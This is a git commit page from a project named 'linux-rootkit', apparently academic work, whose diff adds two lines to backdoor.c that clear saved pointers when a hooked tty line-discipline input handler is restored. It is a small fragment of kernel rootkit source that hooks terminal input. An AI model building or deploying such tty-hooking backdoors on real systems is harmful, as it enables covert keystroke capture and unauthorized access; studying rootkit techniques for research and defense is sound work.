linux-rootkit

commit 48711aa87958834f3f19fe87f98ce6613f81f5ea
parent 5dd327b33d00ec510e15b0fb6788c2897f7dc6bb
Author: deurzen <m.deurzen@tum.de>
Date:   Sat, 28 Nov 2020 16:04:30 +0100

adds pointer unset in case of override switch

Diffstat:
M
src/backdoor.c
 | 
2
++

1 file changed, 2 insertions(+), 0 deletions(-)
diff --git a/src/backdoor.c b/src/backdoor.c
@@ -42,9 +42,11 @@ unbackdoor(void)
         if (current_receive_buf2) {
             while (atomic_read(&receive_buf2_count) > 0);
             tty->ldisc->ops->receive_buf2 = current_receive_buf2;
+            current_receive_buf2 = NULL;
         } else if (current_receive_buf) {
             while (atomic_read(&receive_buf_count) > 0);
             tty->ldisc->ops->receive_buf = current_receive_buf;
+            current_receive_buf = NULL;
         }
 
         tty = NULL;